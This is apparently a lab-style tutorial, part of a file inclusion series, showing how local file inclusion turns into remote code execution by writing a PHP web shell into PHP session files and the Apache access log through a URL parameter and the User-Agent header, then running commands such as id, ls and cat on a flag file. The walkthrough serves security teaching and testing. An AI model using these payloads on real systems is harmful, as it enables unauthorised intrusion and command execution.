Part 5 of the File Inclusion series. If you're just landing here, the previous parts covered LFI basics, PHP wrappers, RFI, and file upload attacks. This part introduces a completely different angle — instead of uploading a file, we write our shell into files the server is already creating on its own.
The previous parts all had one thing in common — we needed some way to get our PHP code onto the server, whether through a URL, a file upload, or a remote host. Log poisoning doesn't need any of that.
The idea is simpler and sneakier: servers are constantly writing log files. Session files, access logs, error logs — they all record things that came from us. Our browser headers, our URL parameters, our session data. If we can control what gets written into those files, and we can include those files through LFI, we get execution.
That's log poisoning. Contaminate a file the server is already writing, then include it.
Part 1 — PHP Session Poisoning
PHP stores session data in files on the server. Every user that visits the app gets a session file saved at /var/lib/php/sessions/ on Linux, named after their session cookie — something like sess_f1vv40s4ael3msfvp879seiubp.
The first thing to do is check what's actually in our session file. We include it directly through LFI:
?language=/var/lib/php/sessions/sess_f1vv40s4ael3msfvp879seiubp
The session file is readable, and we can see two values stored in it: selected_language which holds the current language path like /var/www/html, and preference which shows Spanish. The important thing here is that selected_language is controlled by us — it's whatever we pass into the language parameter.
So if we pass PHP code as the language value, it gets written into the session file:
?language=<?php system($_GET["cmd"]); ?>Then we include the session file again and add our command:
?language=/var/lib/php/sessions/sess_f1vv40s4ael3msfvp879seiubp&cmd=idThe session file now contains our shell, and including it executes it. One thing to keep in mind — every time you make a new request with the language parameter, the session file gets overwritten. So you need to poison it and include it in the right order each time you want to run a command.
Part 2 — Apache Log Poisoning
Apache keeps an access log at /var/log/apache2/access.log. Every single request that hits the server gets recorded there — including the User-Agent header, which is completely controlled by us.
First step is confirming we can read the log through LFI:
?language=/var/log/apache2/access.logIf it loads, we can read it. Now we poison it by replacing our User-Agent with a PHP web shell. We do this through Burp Suite — intercept a request, modify the User-Agent header:
User-Agent: <?php system($_GET['cmd']); ?>
That request gets logged. Now the access log contains our PHP code. We include it through LFI and pass a command:
?language=/var/log/apache2/access.log&cmd=ls+/
The command executed. The directory listing of / is right there in the response mixed in with the log entries — you can see root highlighted. Now we just need to find and read the flag. We run:
?language=/var/log/apache2/access.log&cmd=cat+/c85ee5082f4c723ace6c0796e3a3db09.txt
Why This Works
Apache logs the User-Agent header as-is, with no sanitization. It's just a string — the server trusts that it's browser identification data. But since we control it completely, we can put anything in there, including PHP code.
Once that code is in the log file, including the log through LFI is no different from including any other PHP file. The server reads it, the PHP interpreter sees the code, executes it.
The same principle applies to other log files too — SSH logs, FTP logs, mail logs. Anything the server writes that contains a value we control and that we can read through LFI is a potential poison target.
Session vs Log — When to Use Which
Both methods follow the same logic but have different requirements and limitations. Session poisoning is cleaner — the session file is small, easy to read, and the value we control is direct. The downside is the file gets overwritten with each request so you have to be careful with timing. Log poisoning is more stable once poisoned, but log files can get huge and slow to load, and Apache logs are sometimes only readable by privileged users. On Nginx, logs are more often readable by low-privilege users like www-data, making it a better target in those cases.
Next part — automation. We'll look at tools that can find and exploit LFI vulnerabilities automatically, and what proper prevention actually looks like.